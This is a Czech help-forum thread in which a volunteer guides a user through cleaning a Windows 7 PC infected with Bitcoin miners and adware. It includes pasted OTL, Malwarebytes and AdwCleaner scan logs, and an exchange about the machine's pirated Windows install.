Update for Microsoft PowerPoint 2013 (KB2956149) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0018-0405-0000-0000000FF1CE}" "{D23C7382-BE56-49E5-9AA8-2E5ACC68E409}" "1029" "0"
Update for Microsoft PowerPoint 2013 (KB2956149) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0018-0409-0000-0000000FF1CE}" "{D23C7382-BE56-49E5-9AA8-2E5ACC68E409}" "1033" "0"
Update for Microsoft Project 2013 (KB2956091) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{AA05FD50-94AC-486D-90F5-A2A1409D82E9}" "1033" "0"
Update for Microsoft Publisher 2013 (KB2883048) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{08F93D29-1D44-4E70-B73F-001BF01144F0}" "1033" "0"
Update for Microsoft Publisher 2013 (KB2883048) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0019-0405-0000-0000000FF1CE}" "{08F93D29-1D44-4E70-B73F-001BF01144F0}" "1029" "0"
Update for Microsoft Publisher 2013 (KB2883048) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0019-0409-0000-0000000FF1CE}" "{08F93D29-1D44-4E70-B73F-001BF01144F0}" "1033" "0"
Update for Microsoft Visio Viewer 2013 (KB2817301) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{25C61889-2E44-4BE1-9E96-9364BFDCF501}" "1033" "0"
Update for Microsoft Visio Viewer 2013 (KB2817301) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0405-0000-0000000FF1CE}" "{25C61889-2E44-4BE1-9E96-9364BFDCF501}" "1029" "0"
Update for Microsoft Visio Viewer 2013 (KB2817301) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0409-0000-0000000FF1CE}" "{25C61889-2E44-4BE1-9E96-9364BFDCF501}" "1033" "0"
Update for Microsoft Word 2013 (KB2878319) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{A7CD05CC-CA85-428C-91FD-74A908D126E1}" "1033" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1033" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001A-0405-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1029" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001A-0409-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1033" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001B-0405-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1029" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001B-0409-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1033" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0405-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1029" "0"
Update for Microsoft Word 2013 (KB2956085) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0409-0000-0000000FF1CE}" "{3A94CA29-9FC1-4244-8405-784D52FD10A7}" "1033" "0"
WinRAR-->C:\Program Files (x86)\WinRAR\uninstall.exe

======System event log======

Computer Name: 37L4247F27-25
Event Code: 7036
Message: Stav služby Distributed Link Tracking Client byl změněn na: stopped
Record Number: 5
Source Name: Service Control Manager
Time Written: 20101121035831.108772-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 7036
Message: Stav služby Desktop Window Manager Session Manager byl změněn na: stopped
Record Number: 4
Source Name: Service Control Manager
Time Written: 20101121035831.108772-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 7036
Message: Stav služby Power byl změněn na: stopped
Record Number: 3
Source Name: Service Control Manager
Time Written: 20101121035831.108772-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 7036
Message: Stav služby Windows Event Log byl změněn na: stopped
Record Number: 2
Source Name: Service Control Manager
Time Written: 20101121035831.093172-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 7036
Message: Stav služby Diagnostic Policy Service byl změněn na: stopped
Record Number: 1
Source Name: Service Control Manager
Time Written: 20101121035831.093172-000
Event Type: Informace
User:

=====Application event log=====

Computer Name: 37L4247F27-25
Event Code: 5617
Message: Windows Management Instrumentation Service subsystems initialized successfully
Record Number: 5
Source Name: Microsoft-Windows-WMI
Time Written: 20150110200324.000000-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 5615
Message: Windows Management Instrumentation Service started sucessfully
Record Number: 4
Source Name: Microsoft-Windows-WMI
Time Written: 20150110200321.000000-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 4625
Message: Subsystém EventSystem zabraňuje vytváření duplicitních záznamů v protokolu událostí po dobu 86400 sekund. Tuto dobu lze změnit pomocí hodnoty REG_DWORD s názvem SuppressDuplicateDuration v následujícím klíči registru: HKLM\Software\Microsoft\EventSystem\EventLog.
Record Number: 3
Source Name: Microsoft-Windows-EventSystem
Time Written: 20150110200316.000000-000
Event Type: Informace
User:

Computer Name: 37L4247F27-25
Event Code: 1531
Message: Služba Profil uživatele byla úspěšně spuštěna.


Record Number: 2
Source Name: Microsoft-Windows-User Profiles Service
Time Written: 20150110200316.378082-000
Event Type: Informace
User: NT AUTHORITY\SYSTEM

Computer Name: 37L4247F27-25
Event Code: 1532
Message: Služba Profil uživatele byla zastavena.


Record Number: 1
Source Name: Microsoft-Windows-User Profiles Service
Time Written: 20101121035831.124372-000
Event Type: Informace
User: NT AUTHORITY\SYSTEM

=====Security event log=====

Computer Name: ZBOX
Event Code: 4907
Message: Nastavení auditu objektu se změnila.

Předmět:
ID zabezpečení: S-1-5-18
Název účtu: ZBOX$
Doména účtu: WORKGROUP
ID přihlášení: 0x3e7

Objekt:
Server objektu: Security
Typ objektu: File
Název objektu: C:\Windows\System32\fr-FR\fdrespub.dll.mui
ID popisovače: 0x1c

Informace o procesu:
ID procesu: 0x8cc
Název procesu: C:\Windows\System32\poqexec.exe

Nastavení auditu:
Původní popisovač zabezpečení:
Nový popisovač zabezpečení: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
Record Number: 52822
Source Name: Microsoft-Windows-Security-Auditing
Time Written: 20150111112710.575688-000
Event Type: Úspěšný audit
User:

Computer Name: ZBOX
Event Code: 4907
Message: Nastavení auditu objektu se změnila.

Předmět:
ID zabezpečení: S-1-5-18
Název účtu: ZBOX$
Doména účtu: WORKGROUP
ID přihlášení: 0x3e7

Objekt:
Server objektu: Security
Typ objektu: File
Název objektu: C:\Windows\System32\fr-FR\puiapi.dll.mui
ID popisovače: 0x1c

Informace o procesu:
ID procesu: 0x8cc
Název procesu: C:\Windows\System32\poqexec.exe

Nastavení auditu:
Původní popisovač zabezpečení:
Nový popisovač zabezpečení: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
Record Number: 52821
Source Name: Microsoft-Windows-Security-Auditing
Time Written: 20150111112710.575688-000
Event Type: Úspěšný audit
User:

Computer Name: ZBOX
Event Code: 4907
Message: Nastavení auditu objektu se změnila.

Předmět:
ID zabezpečení: S-1-5-18
Název účtu: ZBOX$
Doména účtu: WORKGROUP
ID přihlášení: 0x3e7

Objekt:
Server objektu: Security
Typ objektu: File
Název objektu: C:\Windows\System32\fr-FR\mssvp.dll.mui
ID popisovače: 0x1c

Informace o procesu:
ID procesu: 0x8cc
Název procesu: C:\Windows\System32\poqexec.exe

Nastavení auditu:
Původní popisovač zabezpečení:
Nový popisovač zabezpečení: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
Record Number: 52820
Source Name: Microsoft-Windows-Security-Auditing
Time Written: 20150111112710.560088-000
Event Type: Úspěšný audit
User:

Computer Name: ZBOX
Event Code: 4907
Message: Nastavení auditu objektu se změnila.

Předmět:
ID zabezpečení: S-1-5-18
Název účtu: ZBOX$
Doména účtu: WORKGROUP
ID přihlášení: 0x3e7

Objekt:
Server objektu: Security
Typ objektu: File
Název objektu: C:\Windows\System32\fr-FR\stobject.dll.mui
ID popisovače: 0x1c

Informace o procesu:
ID procesu: 0x8cc
Název procesu: C:\Windows\System32\poqexec.exe

Nastavení auditu:
Původní popisovač zabezpečení:
Nový popisovač zabezpečení: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
Record Number: 52819
Source Name: Microsoft-Windows-Security-Auditing
Time Written: 20150111112710.560088-000
Event Type: Úspěšný audit
User:

Computer Name: ZBOX
Event Code: 4907
Message: Nastavení auditu objektu se změnila.

Předmět:
ID zabezpečení: S-1-5-18
Název účtu: ZBOX$
Doména účtu: WORKGROUP
ID přihlášení: 0x3e7

Objekt:
Server objektu: Security
Typ objektu: File
Název objektu: C:\Windows\System32\fr-FR\inetres.dll.mui
ID popisovače: 0x1c

Informace o procesu:
ID procesu: 0x8cc
Název procesu: C:\Windows\System32\poqexec.exe

Nastavení auditu:
Původní popisovač zabezpečení:
Nový popisovač zabezpečení: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD)
Record Number: 52818
Source Name: Microsoft-Windows-Security-Auditing
Time Written: 20150111112710.528888-000
Event Type: Úspěšný audit
User:

======Environment variables======

"ComSpec"=%SystemRoot%\system32\cmd.exe
"FP_NO_HOST_CHECK"=NO
"OS"=Windows_NT
"Path"=C:\ProgramData\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\
"PATHEXT"=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
"PROCESSOR_ARCHITECTURE"=AMD64
"TEMP"=%SystemRoot%\TEMP
"TMP"=%SystemRoot%\TEMP
"USERNAME"=SYSTEM
"windir"=%SystemRoot%
"PSModulePath"=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
"NUMBER_OF_PROCESSORS"=2
"PROCESSOR_LEVEL"=6
"PROCESSOR_IDENTIFIER"=Intel64 Family 6 Model 42 Stepping 7, GenuineIntel
"PROCESSOR_REVISION"=2a07
"windows_tracing_logfile"=C:\BVTBin\Tests\installpackage\csilogfile.log
"windows_tracing_flags"=3

-----------------EOF-----------------

Zdravim

Stahnete OTL http://oldtimer.geekstogo.com/OTL.exe a ulozte jej na plochu

• Pokud pouzivate Win Vista ci W7, kliknete na OTL pravym a dejte Run As Administrator ci Spustit jako spravce
• Pokud pouzivate 64bitovy OS, zkontrolujte, zda-li je zaskrtnuty ctverecek u Pro 64 bitové OS, pokud ne, zaskrtnete jej
• Zaskrtnete okenko Pro vsechny uzivatele
• Zaskrtnete okenko Kontrola na havet "LOP"
• Zaskrtnete okenko Kontrola na havet "Purity"
• Stari souboru zmente z 30 dnu na 7 dnu
• Do spodniho okenka Vlastni skenovani/opravy vlozte skript nize

• Kód: Vybrat vše

  CREATERESTOREPOINT
  
  netsvcs
  drivers32
  savembr:0
  
  /md5start
  atapi.sys
  autochk.exe
  cdrom.sys
  explorer.exe
  hal.dll
  scecli.dll
  services.exe
  svchost.exe
  tcpip.sys
  userinit.exe
  winlogon.exe
  /md5stop
  
  %systemroot%*.* /U /s
  %SYSTEMDRIVE%\*.exe
  %ALLUSERSPROFILE%\Application Data\*.
  %ALLUSERSPROFILE%\Application Data\*.exe /s
  %APPDATA%\*.
  %APPDATA%\*.exe /s
  %systemroot%\*. /mp /s
  %systemroot%\system32\*.dll /lockedfiles
  %systemroot%\Tasks\*.job
  %systemroot%\system32\drivers\*.sys /lockedfiles
  %systemroot%\System32\config\*.sav
  %systemroot%\system32\*.dll /lockedfiles
  %systemroot%\system32\drivers\*.sys /3
  %systemroot%\system32\*.* /3
  %SYSTEMDRIVE%\*.exe
  
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /s
  
  %PROGRAMFILES%\Mozilla Firefox\firefox.exe /md5
  %PROGRAMFILES%\Internet Explorer\iexplore.exe /md5
  %PROGRAMFILES%\Opera\opera.exe /md5
  %PROGRAMFILES%\Google\Chrome\Application\chrome.exe /md5
  
  %SystemDrive%\PhysicalMBR.bin /md5 
  
  *crack* /s
  *keygen* /s
  *loader* /s

• Kliknete na tlacitko Prohledat
• Po dokonceni skenu (cca 10 az 15 min) se objevi logy OTL.txt a Extras.txt, oba sem vlozte
• Pokud budou logy dlouhe (forum bude kricet o prekroceni maximalniho poctu znaku), tak je rozdelte do vice prispevku

Dobre rano,
nesel hned spat a spustil jsem dle minulych rad adwcleaner, MBAM a zmenil ME za ESS.
Vsim jsem to projel a MBAM viz log, ESS viz obrazek.

zde log z MBAM:
Malwarebytes Anti-Malware
www.malwarebytes.org

Scan Date: 20.2.2015
Scan Time: 1:21:36
Logfile: MBAM log.txt
Administrator: Yes

Version: 2.00.4.1028
Malware Database: v2015.02.19.10
Rootkit Database: v2015.02.03.01
License: Trial
Malware Protection: Enabled
Malicious Website Protection: Enabled
Self-protection: Disabled

OS: Windows 7 Service Pack 1
CPU: x64
File System: NTFS
User: Win7

Scan Type: Threat Scan
Result: Completed
Objects Scanned: 332873
Time Elapsed: 13 min, 5 sec

Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

Processes: 0
(No malicious items detected)

Modules: 0
(No malicious items detected)

Registry Keys: 5
Backdoor.Agent, HKU\S-1-5-21-3155330713-2898948138-332163686-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\WOW6432NODE\MICROSOFT\ACTIVE SETUP\INSTALLED COMPONENTS\{5460C4DF-B266-909E-CB58-E32B79832EB2}, , [f264e23ec0caf244e431e93e798a7a86],
Trojan.Agent, HKU\S-1-5-21-3155330713-2898948138-332163686-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\--((Mutex))--, , [4511da4675158bab19466127996bd729],
Malware.Trace, HKU\S-1-5-21-3155330713-2898948138-332163686-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\XTREMERAT, , [9eb8f0303357de58f588f893db29da26],
PUP.Optional.GlobalUpdate.A, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\GOOGLEUPDATE.EXE, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\GOOGLEUPDATE.EXE, , [1d39fd235b2f2c0ae00b254cc53e6e92],

Registry Values: 1
Malware.Trace, HKU\S-1-5-21-3155330713-2898948138-332163686-1000-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\SOFTWARE\XTREMERAT|Mutex, --((Mutex))--, , [9eb8f0303357de58f588f893db29da26]

Registry Data: 0
(No malicious items detected)

Folders: 2
Trojan.BitcoinMiner, C:\Users\Public\Public, , [5bfb5bc54c3e56e0534f62a5976ebd43],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269, , [1d39fd235b2f2c0ae00b254cc53e6e92],

Files: 34
Riskware.BitcoinMiner, C:\Program Files (x86)\Crack windows 7 ultimate product key.rar\Crack windows 7 ultimate product key.rar.exe, , [3d19869a6a20092d5c88aebbd52ca858],
PUP.Optional.Bitcoin, C:\Windows\SysWOW64\acumncijin.exe, , [1a3c61bf4b3fd6609d8f5be2db2738c8],
PUP.Optional.Bitcoin, C:\Windows\SysWOW64\acumncwwskf.exe, , [fd59e33da2e8c670ec40a499b74b956b],
Trojan.BitMiner, C:\Windows\SysWOW64\dcgmncijin.exe, , [61f52df34e3cb3832700d37beb178779],
Trojan.BitMiner, C:\Windows\SysWOW64\dcgmncwwskf.exe, , [7bdb26faeaa087afe740cb833cc6ef11],
PUP.BitCoinMiner, C:\Windows\SysWOW64\lcpmncijin.exe, , [8cca0818f59591a5df525fd78081cf31],
PUP.BitCoinMiner, C:\Windows\SysWOW64\lcpmncwwskf.exe, , [50060f11e5a5092daa87ca6c5fa243bd],
PUP.Optional.Amonetize, C:\Users\Win7\AppData\Local\Temp\epson tm p2.01 driver windows 7 download__10924_i1446218543_il246180.exe, , [5105b96795f59a9ccbb051c356acc53b],
PUP.Optional.OutBrowse, C:\Users\Win7\AppData\Local\Temp\setup.exe, , [134331ef008a9e982a1c7897956d16ea],
PUP.Optional.CrossRider.A, C:\Users\Win7\AppData\Local\Temp\nscBB05.tmp\Ormvjrflult.exe, , [70e65fc1acde7abcc24c1ae804feb34d],
PUP.Optional.Amonetize, C:\Users\Win7\AppData\Local\Temp\nsxC330.tmp\DcryptDll.dll, , [b89e938de3a7ea4c870752d74eb4bd43],
Riskware.BitcoinMiner, C:\Users\Public\Public\minerd.exe, , [6cea80a0a4e69c9a648098d1976a867a],
PUP.Proxy.BCM, C:\Users\Public\Public\mining_proxy.exe, , [7dd927f938527fb7a5e636e032ce4fb1],
PUP.Optional.Amonetize, C:\Users\Win7\Downloads\epson tm p2.01 driver windows 7 download_10924_i13980706_il345.exe, , [ca8c27f91a7047efcac4fa2f1be7aa56],
Trojan.Agent.SCR, C:\Windows\inf\msstp.vbe, , [f95dd050b1d9f73f5980b2192bd8619f],
Malware.Trace, C:\Users\Win7\AppData\Roaming\Microsoft\Windows\--((Mutex))--.dat, , [0650061af89256e0aa6dbbced0342ad6],
Trojan.BitcoinMiner, C:\Users\Public\Public\run.vbs, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\game.bat, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\game.vbs, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\libcurl.dll, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\mining_proxy.exe, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\pthreadGC2.dll, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\run.bat, , [5bfb5bc54c3e56e0534f62a5976ebd43],
Trojan.BitcoinMiner, C:\Users\Public\Public\zlib1.dll, , [5bfb5bc54c3e56e0534f62a5976ebd43],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\GoogleCrashHandler.exe, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\GoogleUpdate.exe, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\GoogleUpdateBroker.exe, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\GoogleUpdateHelper.msi, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\GoogleUpdateOnDemand.exe, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\goopdate.dll, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\goopdateres_en.dll, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\npGoogleUpdate4.dll, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\psmachine.dll, , [1d39fd235b2f2c0ae00b254cc53e6e92],
PUP.Optional.GlobalUpdate.A, C:\Users\Win7\AppData\Local\Temp\comh.178269\psuser.dll, , [1d39fd235b2f2c0ae00b254cc53e6e92],

Physical Sectors: 0
(No malicious items detected)


zde log z adwcleaneru:
# AdwCleaner v4.111 - Logfile created 20/02/2015 at 01:02:14
# Updated 18/02/2015 by Xplode
# Database : 2015-02-18.3 [Server]
# Operating system : Windows 7 Ultimate Service Pack 1 (x64)
# Username : Win7 - ZBOX
# Running from : C:\Users\Win7\Downloads\adwcleaner_4.111.exe
# Option : Cleaning

***** [ Services ] *****


***** [ Files / Folders ] *****

Folder Deleted : C:\ProgramData\14810924659816415601
Folder Deleted : C:\Program Files (x86)\globalUpdate
Folder Deleted : C:\Users\Win7\AppData\Local\globalUpdate
Folder Deleted : C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default\Extensions\jqy@r4MdA7c.edu
Folder Deleted : C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default\Extensions\WV@hBxv5.edu

***** [ Scheduled tasks ] *****


***** [ Shortcuts ] *****


***** [ Registry ] *****

Key Deleted : HKLM\SOFTWARE\Classes\P1a6680f5_19be_4851_b69d_902b0ea1a307_.P1a6680f5_19be_4851_b69d_902b0ea1a307_
Key Deleted : HKLM\SOFTWARE\Classes\P1a6680f5_19be_4851_b69d_902b0ea1a307_.P1a6680f5_19be_4851_b69d_902b0ea1a307_.9
Key Deleted : HKLM\SOFTWARE\Classes\Pf8dbc5ca_a61c_4204_bbec_82bea5ec5b06_.Pf8dbc5ca_a61c_4204_bbec_82bea5ec5b06_
Key Deleted : HKLM\SOFTWARE\Classes\Pf8dbc5ca_a61c_4204_bbec_82bea5ec5b06_.Pf8dbc5ca_a61c_4204_bbec_82bea5ec5b06_.9
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{1a6680f5-19be-4851-b69d-902b0ea1a307}
Key Deleted : HKLM\SOFTWARE\Classes\CLSID\{f8dbc5ca-a61c-4204-bbec-82bea5ec5b06}
Key Deleted : HKLM\SOFTWARE\Classes\TypeLib\{E0D6077D-7186-48B2-A6C6-2F7C533E8CFF}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{1a6680f5-19be-4851-b69d-902b0ea1a307}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{f8dbc5ca-a61c-4204-bbec-82bea5ec5b06}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{1a6680f5-19be-4851-b69d-902b0ea1a307}
Key Deleted : HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{f8dbc5ca-a61c-4204-bbec-82bea5ec5b06}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{1a6680f5-19be-4851-b69d-902b0ea1a307}
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{f8dbc5ca-a61c-4204-bbec-82bea5ec5b06}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{1a6680f5-19be-4851-b69d-902b0ea1a307}
Key Deleted : [x64] HKLM\SOFTWARE\Classes\CLSID\{f8dbc5ca-a61c-4204-bbec-82bea5ec5b06}
Key Deleted : HKCU\Software\GlobalUpdate
Key Deleted : HKCU\Software\AppDataLow\Software\Crossrider
Key Deleted : HKLM\SOFTWARE\GlobalUpdate
Key Deleted : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4820778D-AB0D-6D18-C316-52A6A0E1D507}

***** [ Web browsers ] *****

-\\ Internet Explorer v11.0.9600.17631


-\\ Mozilla Firefox v

[l9wezdfa.default\prefs.js] - Line Deleted : user_pref("extensions.crossrider.bic", "14adeffe2ff9a0cb3694432f545e01b0");

-\\ Google Chrome v40.0.2214.93


*************************

AdwCleaner[R0].txt - [3104 bytes] - [20/02/2015 00:57:25]
AdwCleaner[S0].txt - [3036 bytes] - [20/02/2015 01:02:14]

########## EOF - C:\AdwCleaner\AdwCleaner[S0].txt - [3095 bytes] ##########

Maly dotaz, ono to byl notebook se zakoupenymi windows 8 a vy jste udeali downgrade na W7? Ty se ale uz kupovat nechteli co a radsi se stahla nelegalni verze a zrovna hned ta v cene nekolika tisic a ne bezna domaci co

Dobry den,
jj taky mi to hlava nebere. PC udajne byl zakoupen s win8 a bratr meho kamarada, ktery se v PC udajne vyzna udelal preinstalaci na win7 ultimate a jeste s crackem. Tak ze nejdou stahovat aktualizace, navic u ultimate nebude prechod na win10 zdarma, pc je ted ve stavu v kterem je a pak zavolali mne No nejsem ja trouba ze jim to vubec delam?
Domluvili jsme se na tom ze PC odviruju a vratim tam zpet win 8, doufam ze do te doby sezenou i tu licenci, kdyz ji maj pry legalne. OTL jeste bezi hned jak to dobehne, postnu pozadovany log.

Tak proc to odvirovavat, kdyz to stejne budete preinstalovavat na W8??

Licence by mela byt zespod ntb, na tzv. COA stitku...


Nase forum ale nepodporuje piratsky SW a pouzivani nelegalnich OS - vychazi to z platnych pravidel fora a charty mezinarodni aliance ASAP, jejiz jsme cleny...

Myslim si o tom taky sve, ale je to pro nejlepsiho kamose (resp. jeho maminku) a tech clovek nema moc, teda asp ja ne.

Protoze na tom bezi SW Pohoda a tu ja neumim prenest. Nikdy jsem to nedelal a nechce se mi to riskovat. Chtel bych to udelat jako upgrade, aby se mi nezmenili soubory.

JJ ten jsem hledal, ale nenasel, je to takova mala krabicka prisroubovana zezadu k monitoru. Priznam se, ze vim, ze neco takoveho existuje, ale setkal jsem se s tim poprve. Napsal jsem kamosovi. At tu licenci dohledaji. Kdyz ne mam svou kterou nepouzivam, akorat si nejsem jisty jestli pujde upgrade z ultimate na profesional verzi. Kdyz ne asi se na tu preinstalaci vykaslu a necham to jen odvirovane.

Musim do prace a vratim se az po 23h, ale pritelkyne sem ten log hodi az OTL dobehne.

OTL ani delat nemusite, jelikoz system je prokazatelne nelegalni a s tim my nepomuzeme...

COA neni zadna krabicka, je to jen nalepka https://www.google.cz/search?q=coa+stit ... 80&bih=923

Se SW pohoda se obratte na jejich technickou podporu, urcite poradi...

Ja bych radeji doporucil cistou instalaci nez upgrade, ale to je na vas...

OTL logfile created on: 20.2.2015 11:07:30 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Win7\Desktop
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000405 | Country: Česká republika | Language: CSY | Date Format: d.M.yyyy

3,91 Gb Total Physical Memory | 2,43 Gb Available Physical Memory | 62,25% Memory free
7,82 Gb Paging File | 6,11 Gb Available in Paging File | 78,19% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 297,99 Gb Total Space | 235,73 Gb Free Space | 79,10% Space Free | Partition Type: NTFS

Computer Name: ZBOX | User Name: Win7 | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 7 Days

========== Processes (SafeList) ==========

PRC - [2015.02.20 11:04:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Win7\Desktop\OTL.exe
PRC - [2015.01.25 22:08:43 | 000,843,592 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
PRC - [2014.12.11 12:03:12 | 000,089,864 | ---- | M] (Hewlett-Packard Company) -- C:\Program Files (x86)\Hp\Common\HPSupportSolutionsFrameworkService.exe
